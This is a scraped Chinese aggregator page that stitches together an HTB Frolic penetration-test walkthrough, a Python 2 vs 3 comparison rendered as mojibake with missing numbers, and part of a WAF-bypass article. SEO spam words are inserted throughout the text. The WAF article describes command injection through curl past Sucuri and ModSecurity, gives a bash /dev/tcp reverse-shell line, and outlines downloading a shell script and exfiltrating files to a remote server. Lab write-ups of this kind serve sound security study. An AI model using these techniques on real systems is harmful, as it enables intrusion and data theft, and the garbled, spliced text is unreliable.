1.【HTB系列】靶机Frolic的源码渗透测试详解
2.详解python2 å python3çåºå«
3.SRS(simple-rtmp-server)流媒体服务器源码分析--RTMP消息play
4.初学Python,有哪些Pythonic的源码源码推荐阅读
5.WAF绕过技术系列文章(二)
【HTB系列】靶机Frolic的渗透测试详解
Hack The Box 平台上提供了多种靶机,从简单到复杂,源码旨在提升渗透测试技能和黑盒测试能力。源码这些靶机模拟了真实世界场景,源码适合不同层次的源码仿永硕e盘源码挑战。今天,源码我们将详细介绍如何通过靶机 Frolic 的源码渗透测试。
首先,源码使用 nmap 扫描靶机开放的源码端口和服务。结果显示 SSH(端口 )、源码SMB(端口 和 )以及 HTTP(端口 )。源码
针对 SMB 服务,源码我们尝试使用 smbmap 查看共享文件。源码发现了两个共享目录,源码但没有访问权限。
接着,我们通过 nc 工具快速检测了端口 是否开放。结果显示该端口是开启的。随后,访问了该端口,e语言托盘源码发现了一个简单的欢迎页面,底部包含 “forlic.htb:” 的信息。
尝试登陆页面时,我们注意到需要账户密码。尽管使用常见默认账户和密码尝试登陆,但均失败。当使用 admin:password 登录时,页面陷入卡顿状态,且系统实施了等待时间限制,禁止暴力破解。
为了突破限制,我们使用 gobuster 爆破网站目录,成功发现了 /backup、/dev、/test 和 /admin 等目录。在 /backup 中,我们找到了 password.txt 和 user.txt 文件,分别包含了账号密码:admin: imnothuman。
尝试登陆刚刚发现的 Node-RED 页面时,发现无法登陆。微商通源码我们转而访问 /admin 页面,发现提示剩余尝试次数。通过 Burp Suite 工具抓包发现,未接收到任何反馈信息。检查源代码的 JS 代码,发现了一种编码技巧。复制这段编码到谷歌搜索后,我们访问了作为提示的 URL,并通过解码找到一个 ZIP 文件。
解压 ZIP 文件后,需要密码,我们使用 zip2john 工具将其转换为密码 HASH,然后使用 john 工具破解,得到了密码:password。再次解压文件,内容疑似 进制格式。转换后,我们发现是一个需要解密的文本,通过谷歌搜索找到对应解码网站,解密后得到 idkwhatispass。gps解析源码下载
经过多次尝试,我们总共得到了两组密码。我们发现可能还有未被探索的网页,其密码可能属于未被发现的页面。基于此,我们继续使用 gobuster 工具进行进一步的扫描和爆破,最终找到了 /dev 下的 /backup 目录。
访问此目录并使用刚刚得到的密码尝试登陆。正确的账号密码是 admin: idkwhatispass。接着,我们尝试利用 playsms 的已知漏洞进行攻击。使用 1.4 版本的远程代码执行漏洞,通过 searchsploit-x Path 查找相应的漏洞说明并手动利用。也可以使用 Metasploit 框架中集成的工具进行攻击。
成功后,我们获得了 user flag。接下来是提权操作,我们使用 LinEnum 工具检查可利用的提升权限点。使用 Python 的 SimpleHTTPServer 模块将 LinEnum 上传到靶机执行,然后在 shell 中运行。带客通 源码我们注意到带有 SUID 权限的文件,可以通过输入特定内容触发溢出攻击,进而获得 root 权限。
我们使用 gdb 进行调试,通过插件 pEDA 安装,调试工具帮助我们定位错误位置和计算地址偏移量。通过一系列操作,我们最终获得了 /bin/sh 的地址,并整合系统调用函数 system() 和 exit() 的地址,构建了 payload,成功获取了 root 权限。
Ms 安全实验室专注于网络安全知识的普及和培训,已出版多本专业书籍,如《Web 安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》等。团队定期在公众号分享技术干货,旨在提供实用的渗透测试实战指南。
详解python2 å python3çåºå«
Python2.xä¸3.xçæ¬åºå«Pythonç3.0çæ¬ï¼å¸¸è¢«ç§°ä¸ºPython ï¼æç®ç§°Py3kãç¸å¯¹äºPythonçæ©æçæ¬ï¼è¿æ¯ä¸ä¸ªè¾å¤§çå级ã
为äºä¸å¸¦å ¥è¿å¤çç´¯èµï¼Python 3.0å¨è®¾è®¡çæ¶å没æèèåä¸ç¸å®¹ã
许å¤é对æ©æPythonçæ¬è®¾è®¡çç¨å¼é½æ æ³å¨Python 3.0ä¸æ£å¸¸æ§è¡ã
为äºç §é¡¾ç°æç¨å¼ï¼Python 2.6ä½ä¸ºä¸ä¸ªè¿æ¸¡çæ¬ï¼åºæ¬ä½¿ç¨äºPython 2.xçè¯æ³ååºï¼åæ¶èèäºåPython 3.0çè¿ç§»ï¼å 许使ç¨é¨åPython 3.0çè¯æ³ä¸å½æ°ã
æ°çPythonç¨å¼å»ºè®®ä½¿ç¨Python 3.0çæ¬çè¯æ³ã
é¤éæ§è¡ç¯å¢æ æ³å®è£ Python 3.0æè ç¨å¼æ¬èº«ä½¿ç¨äºä¸æ¯æ´Python 3.0ç第ä¸æ¹åºãç®åä¸æ¯æ´Python 3.0ç第ä¸æ¹åºæTwisted, py2exe, PILçã
大å¤æ°ç¬¬ä¸æ¹åºé½æ£å¨åªåå°ç¸å®¹Python 3.0çæ¬ãå³ä½¿æ æ³ç«å³ä½¿ç¨Python 3.0ï¼ä¹å»ºè®®ç¼åç¸å®¹Python 3.0çæ¬çç¨å¼ï¼ç¶å使ç¨Python 2.6, Python 2.7æ¥æ§è¡ã
Python 3.0çåå主è¦å¨ä»¥ä¸å 个æ¹é¢:
1. print å½æ°
printè¯å¥æ²¡æäºï¼åè代ä¹çæ¯print()å½æ°ã Python 2.6ä¸Python 2.7é¨åå°æ¯æè¿ç§å½¢å¼çprintè¯æ³ãå¨Python 2.6ä¸Python 2.7éé¢ï¼ä»¥ä¸ä¸ç§å½¢å¼æ¯çä»·çï¼
print "fish"print ("fish") #注æprintåé¢æä¸ªç©ºæ ¼
print("fish") #print()ä¸è½å¸¦æä»»ä½å ¶å®åæ°
ç¶èï¼Python 2.6å®é å·²ç»æ¯ææ°çprint()è¯æ³ï¼
from __future__ import print_functionprint("fish", "panda", sep=', ')
2. Unicode
Python 2 æ ASCII str() ç±»åï¼unicode() æ¯åç¬çï¼ä¸æ¯ byte ç±»åã
ç°å¨ï¼ å¨ Python 3ï¼æ们æç»æäº Unicode (utf-8) å符串ï¼ä»¥åä¸ä¸ªåèç±»ï¼byte å bytearraysã
ç±äº Python3.X æºç æ件é»è®¤ä½¿ç¨utf-8ç¼ç ï¼è¿å°±ä½¿å¾ä»¥ä¸ä»£ç æ¯åæ³çï¼
>>> ä¸å½ = 'china'>>>print(ä¸å½)
china
Python 2.x
>>> str = "æç±å京天å®é¨">>> str
'\xe6\x\x\xe7\x\xb1\xe5\x8c\x\xe4\xba\xac\xe5\xa4\xa9\xe5\xae\x\xe9\x\xa8'
>>> str = u"æç±å京天å®é¨"
>>> str
u'\u\u\u\u4eac\u\u5b\ue8'
Python 3.x
>>> str = "æç±å京天å®é¨">>> str
'æç±å京天å®é¨'
3. é¤æ³è¿ç®
Pythonä¸çé¤æ³è¾å ¶å®è¯è¨æ¾å¾é常é«ç«¯ï¼æå¥å¾å¤æçè§åãPythonä¸çé¤æ³æ两个è¿ç®ç¬¦ï¼/å//
3.1é¦å æ¥è¯´/é¤æ³:
å¨python 2.xä¸/é¤æ³å°±è·æ们çæç大å¤æ°è¯è¨ï¼æ¯å¦JavaåCåå·®ä¸å¤ï¼æ´æ°ç¸é¤çç»ææ¯ä¸ä¸ªæ´æ°ï¼æå°æ°é¨åå®å ¨å¿½ç¥æï¼æµ®ç¹æ°é¤æ³ä¼ä¿çå°æ°ç¹çé¨åå¾å°ä¸ä¸ªæµ®ç¹æ°çç»æã
å¨python 3.xä¸/é¤æ³ä¸åè¿ä¹åäºï¼å¯¹äºæ´æ°ä¹é´çç¸é¤ï¼ç»æä¹ä¼æ¯æµ®ç¹æ°ã
Python 2.x:
>>> 1 / 20
>>> 1.0 / 2.0
0.5
Python 3.x :
>>> 1/20.5
è对äº//é¤æ³ï¼è¿ç§é¤æ³å«åflooré¤æ³ï¼ä¼å¯¹é¤æ³çç»æèªå¨è¿è¡ä¸ä¸ªflooræä½ï¼å¨python 2.xåpython 3.xä¸æ¯ä¸è´çã
python 2.x :
>>> -1 // 2-1
python 3.x :
>>> -1 // 2-1
注æçæ¯å¹¶ä¸æ¯èå¼å°æ°é¨åï¼èæ¯æ§è¡flooræä½ï¼å¦æè¦æªåå°æ°é¨åï¼é£ä¹éè¦ä½¿ç¨math模åçtruncå½æ°
python 3.x :
>>> import math>>> math.trunc(1 / 2)
0
>>> math.trunc(-1 / 2)
0
4. å¼å¸¸
å¨ Python 3 ä¸å¤çå¼å¸¸ä¹è½»å¾®çæ¹åäºï¼å¨ Python 3 ä¸æ们ç°å¨ä½¿ç¨ as ä½ä¸ºå ³é®è¯ã
æè·å¼å¸¸çè¯æ³ç± except exc, var æ¹ä¸º except exc as varã
使ç¨è¯æ³except (exc1, exc2) as varå¯ä»¥åæ¶æè·å¤ç§ç±»å«çå¼å¸¸ã Python 2.6å·²ç»æ¯æè¿ä¸¤ç§è¯æ³ã
1. å¨2.xæ¶ä»£ï¼ææç±»åç对象é½æ¯å¯ä»¥è¢«ç´æ¥æåºçï¼å¨3.xæ¶ä»£ï¼åªæ继æ¿èªBaseExceptionç对象æå¯ä»¥è¢«æåºã
2. 2.x raiseè¯å¥ä½¿ç¨éå·å°æåºå¯¹è±¡ç±»åååæ°åå¼ï¼3.xåæ¶äºè¿ç§å¥è©çåæ³ï¼ç´æ¥è°ç¨æé å½æ°æåºå¯¹è±¡å³å¯ã
å¨2.xæ¶ä»£ï¼å¼å¸¸å¨ä»£ç ä¸é¤äºè¡¨ç¤ºç¨åºé误ï¼è¿ç»å¸¸åä¸äºæ®éæ§å¶ç»æåºè¯¥åçäºæ ï¼å¨3.xä¸å¯ä»¥çåºï¼è®¾è®¡è 让å¼å¸¸åçæ´å ä¸ä¸ï¼åªæå¨é误åççæ åµæè½å»ç¨å¼å¸¸æè·è¯å¥æ¥å¤çã
5. xrange
å¨ Python 2 ä¸ xrange() å建è¿ä»£å¯¹è±¡çç¨æ³æ¯é常æµè¡çãæ¯å¦ï¼ for 循ç¯æè æ¯å表/éå/åå ¸æ¨å¯¼å¼ã
è¿ä¸ªè¡¨ç°åååçæå¨ï¼æ¯å¦ã"æ°æ§æ±å¼"ï¼ãä½æ¯è¿ä¸ª xrange-iterable æ¯æ ç©·çï¼æå³çä½ å¯ä»¥æ ééåã
ç±äºå®çæ°æ§æ±å¼ï¼å¦æä½ ä¸å¾ä» ä» ä¸éåå®ä¸æ¬¡ï¼xrange() å½æ° æ¯ range() æ´å¿«ï¼æ¯å¦ for 循ç¯ï¼ã尽管å¦æ¤ï¼å¯¹æ¯è¿ä»£ä¸æ¬¡ï¼ä¸å»ºè®®ä½ éå¤è¿ä»£å¤æ¬¡ï¼å 为çæå¨æ¯æ¬¡é½ä»å¤´å¼å§ã
å¨ Python 3 ä¸ï¼range() æ¯å xrange() é£æ ·å®ç°ä»¥è³äºä¸ä¸ªä¸é¨ç xrange() å½æ°é½ä¸ååå¨ï¼å¨ Python 3 ä¸ xrange() ä¼æåºå½åå¼å¸¸ï¼ã
Python 3
import timeitn =
def test_range(n):
return for i in range(n):
pass
def test_xrange(n):
for i in xrange(n):
pass
Python 2
print 'Python', python_version()print '\ntiming range()'
%timeit test_range(n)
print '\n\ntiming xrange()'
%timeit test_xrange(n)
Python 2.7.6
timing range()
loops, best of 3: µs per loop
timing xrange() loops, best of 3: µs per loop
Python 2.7.6
timing range()
loops, best of 3: µs per loop
timing xrange()
loops, best of 3: µs per loop
Python 3
print('Python', python_version())print('\ntiming range()')
%timeit test_range(n)
Python 3.4.1
timing range()
loops, best of 3: µs per loopprint(xrange())
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
<ipython-input-5-5d8f9bea> in <module>()
----> 1 print(xrange())
NameError: name 'xrange' is not defined
6. å «è¿å¶åé¢é表示
å «è¿å¶æ°å¿ é¡»åæ0oï¼åæ¥çå½¢å¼ä¸è½ç¨äºï¼äºè¿å¶å¿ é¡»åæ0bã
æ°å¢äºä¸ä¸ªbin()å½æ°ç¨äºå°ä¸ä¸ªæ´æ°è½¬æ¢æäºè¿å¶å串ã Python 2.6å·²ç»æ¯æè¿ä¸¤ç§è¯æ³ã
å¨Python 3.xä¸ï¼è¡¨ç¤ºå «è¿å¶åé¢éçæ¹å¼åªæä¸ç§ï¼å°±æ¯0oã
python 2.x
>>> 0o
>>>
python 3.x>>>File "<stdin>", line 1
^
SyntaxError: invalid token
>>> 0o
7. ä¸çè¿ç®ç¬¦Python 2.xä¸ä¸çäºæ两ç§åæ³ != å <>
Python 3.xä¸å»æäº<>, åªæ!=ä¸ç§åæ³ï¼è¿å¥½ï¼æä»æ¥æ²¡æ使ç¨<>çä¹ æ¯
8. å»æäºrepr表达å¼``
Python 2.x ä¸åå¼å·``ç¸å½äºreprå½æ°çä½ç¨
Python 3.x ä¸å»æäº``è¿ç§åæ³ï¼åªå 许使ç¨reprå½æ°ï¼è¿æ ·åçç®çæ¯ä¸ºäºä½¿ä»£ç çä¸å»æ´æ¸ æ°ä¹ï¼ä¸è¿ææè§ç¨reprçæºä¼å¾å°ï¼ä¸è¬åªå¨debugçæ¶åæç¨ï¼å¤æ°æ¶åè¿æ¯ç¨strå½æ°æ¥ç¨å符串æ述对象ã
def sendMail(from_: str, to: str, title: str, body: str) -> bool:pass
å¤ä¸ªæ¨¡å被æ¹åï¼æ ¹æ®PEP8ï¼
StringIO模åç°å¨è¢«å并å°æ°çio模ç»å ã new, md5, gopherlibç模å被å é¤ã Python 2.6å·²ç»æ¯æ´æ°çio模ç»ã
,而使用最原始地请求:
如预期的一样,返回了 google.com的页面,基于地理位置,让我跳转到 www.google.de:
现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:
被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!
我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。
返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。
接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:
然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:
好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:
第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:
接下来,我们要绕过更难的WAF
你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。
normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。
cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:
因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:
现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。
主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:
在此基础上,我们把@编码为%:
如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。
上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:
以上就是全部内容。谢谢!
来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。